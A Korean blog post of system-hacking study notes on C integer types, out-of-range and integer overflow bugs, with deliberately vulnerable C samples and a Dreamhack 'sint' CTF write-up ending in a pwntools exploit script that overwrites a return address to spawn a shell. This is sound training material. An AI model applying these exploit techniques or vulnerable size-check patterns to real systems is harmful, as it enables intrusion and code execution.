자료형 : 변수의 크기를 정의, 용도를 암시
-> int (예) - 4바이트의 공간이 할당 & 해당 메모리 대상으로 연산 실행 (한번 할당된 메모리는 확장되거나 줄지x)
=> 1바이트: 0xff 를 넘어서면 0x100이 아닌 0x00이 되어 데이터가 유실 (overflow)
=> 4바이트: 0x0123456789abcdef대입 시 0x 89abcdef만 저장되고 나머지는 유실
==> Type Error
타입 에러
자료형
변수의 자료형 선언 : 변수를 활용하는 동안 담게 될 크기 ,용도, 부호 여부 등을 고려해야
: 같은 자료형이어도 os 에 따라 크기가 달라질 수 o
( long : 4바이트(32bit) / 8바이트 (64bit))
자료형크기범위용도
(signed) char | 1 바이트 | 정수, 문자 | |
unsigned char | |||
(signed) short (int) | 2 바이트 | 정수 | |
unsigned short (int) | |||
(signed) int | 4 바이트 | 정수 | |
unsigned int | |||
size_t | 32bit: 4 바이트 64bit: 8 바이트 |
생략 | 부호 없는 정수 |
(signed) long | 32bit: 4 바이트 64bit: 8 바이트 |
정수 | |
unsigned long | |||
(signed) long long | 32bit: 8 바이트 64bit: 8 바이트 |
정수 | |
unsigned long long | |||
float | 4 바이트 | 실수 | |
double | 8 바이트 | 실수 | |
Type * | 32bit: 4 바이트 64bit: 8 바이트 |
주소 |
+
signed : 부호를 가지는 값 (양수, 음수의 구별 ok)
unsigned : 부호를 가지지 않는 값 ( 오직 양수 ok)
Ouf of Range : 데이터 유실
// Name: out_of_range.c
// Compile: gcc -o out_of_range out_of_range.c
#include <stdio.h>
unsigned long long factorial(unsigned int n) {
unsigned long long res = 1;
for (int i = 1; i <= n; i++) {
res *= i;
}
return res;
}
int main() {
unsigned int n;
unsigned int res;
printf("Input integer n: ");
scanf("%d", &n);
if (n >= 50) {
fprintf(stderr, "Input is too large");
return -1;
}
res = factorial(n);
printf("Factorial of N: %u\n", res);
}
main 코드속 int res에 unsigned long long res를 대입
=> 18! = 0x16beecca730000에서 하위 4바이트(int)인
==> out of range
Ouf of Range : 부호 반전과 값의 왜곡
예시 : 위의 main- unsigned int를 int로 변경
// Name: oor_signflip.c
// Compile: gcc -o oor_signflip oor_signflip.c
#include <stdio.h>
unsigned long long factorial(unsigned int n) {
unsigned long long res = 1;
for (int i = 1; i <= n; i++) {
res *= i;
}
return res;
}
int main() {
int n;
unsigned int res;
printf("Input integer n: ");
scanf("%d", &n);
if (n >= 50) {
fprintf(stderr, "Input is too large");
return -1;
}
res = factorial(n);
printf("Factorial of N: %u\n", res);
}
int n 의 값에 음수 -1을 넣으면 (0x ffff ffff) 로 입력
이를 인자로 받은 factorial함수에서는 이를 unsigned int로 받아들여 42 9496 7295 (0x ffff ffff, dec)로 전달
(이유: unsigned는 같은 메모리 값에서 부호를 양수만 다루기에 더 담는 숫자가 커져 저 위의 숫자로 전달됨)
-> 수많은 수를 반복하게 되어 시간 초과 뿐아니라 연산도 오류
Ouf of Range와 버퍼 오버플로우
oor_bof : 잘못된 자료형의 사용이 스택 버퍼 오버플로우로 이어지는 코드
// Name: oor_bof.c
// Compile: gcc -o oor_bof oor_bof.c -m32
#include <stdio.h>
#define BUF_SIZE 32 # 버퍼 사이즈 32
int main() {
char buf[BUF_SIZE];
int size;
printf("Input length: ");
scanf("%d", &size);
if (size > BUF_SIZE) { #사이즈 체크
fprintf(stderr, "Buffer Overflow Detected");
return -1;
}
read(0, buf, size);
return 0;
}
read함수의 세 번째 인자 : size_t형(부호확인x , 양수만 처리) => 음수 전달시에 매우 큰 수로 해석
- size에 -1을 입력하고 32바이트보다 큰 데이터를 입력하면 버퍼 스택 오버플로우 발생
(다만, 64비트의 환경에서 size_t는 8바이트의 부호없는 정수, -1은 0x ffff ffff ffff ffff이며
이는 굉장히 큰 수이므로 count값으로 이 정도의 큰 값이 들어오면 아무런 동작도 하지않고 에러값을 반환)
타입 오버플로우와 언더플로우
Integer Overflow/ Underflow : 자료형의 범위를 벗어나면, 크기가 작아지거나 커지는 현상
Integer Overflow와 버퍼 오버플로우
// Name: integer_overflow.c
// Compile: gcc -o integer_overflow integer_overflow.c -m32
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main() {
unsigned int size;
scanf("%u", &size);
char *buf = (char *)malloc(size + 1);
unsigned int read_size = read(0, buf, size);
buf[read_size] = 0;
return 0;
}
사용자 정의로 size(unsigned int) 를 받고 size+1만큼을 동적할당
만약 size에 4294967295 (0x ffff ffff)입력시에 integer overlow에 의해 size+1=>0
0이 malloc에 전달되면 malloc의 최소 할당 크기인 32바이트만큼을 청크에 할당한다.
반면, read함수는 size값 그대로를 사용하므로 32바이트 크기의 청크에 4294967295만큼 값을 쓸 수 있음
-> heap buffer overflow
sint
NX 적용, canary 미적용, PIE미적용, partial RELRO 적용
주요 코드
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
- size가 0미만이거나 256초과일 경우 필터링한다.
- 셸을 띄우는 get_shell 함수 존재
- size를 입력받으면 size-1만큼 buf에 입력을 받는다.
시나리오
read함수의 세 번째 인자는 unsized_t size로 받기에 음수가 들어가면 큰 수로 인식한다.
그러므로 size를 0으로 설정하면 필터링은 우회하고 Integer underflow가 발생하여 4294967295 (0xffff ffff)만큼을
입력받게 되어 버퍼 오버플로우가 발생한다.
이를 이용하여 get_shell()주소로 ret overwrite을 하여 exploit을 해보자
Exploit
size는 ebp-0x104, buf는 ebp-0x100에 위치한다.
canary가 적용되지 않았기에 SFP를 그냥 dummy로 덮어버리고 RET을 get_shell()주소로 overwrite하자
from pwn import *
p = remote("host3.dreamhack.games",16041)
e = ELF("./sint")
get_shell = e.symbols['get_shell']
payload = b'A'*0x104
payload += p32(get_shell)
p.sendlineafter("Size: ", "0")
p.sendlineafter("Data: ", payload)
p.interactive()
'System Hacking' 카테고리의 다른 글
Path Traversal (0) | 2024.03.23 |
---|---|
command injection (0) | 2024.03.23 |
Double Free Bug | dreamhack (1) | 2024.03.17 |
Use After Free | dreamhack (1) | 2024.03.17 |
Format String Bug | dreamhack (1) | 2024.03.17 |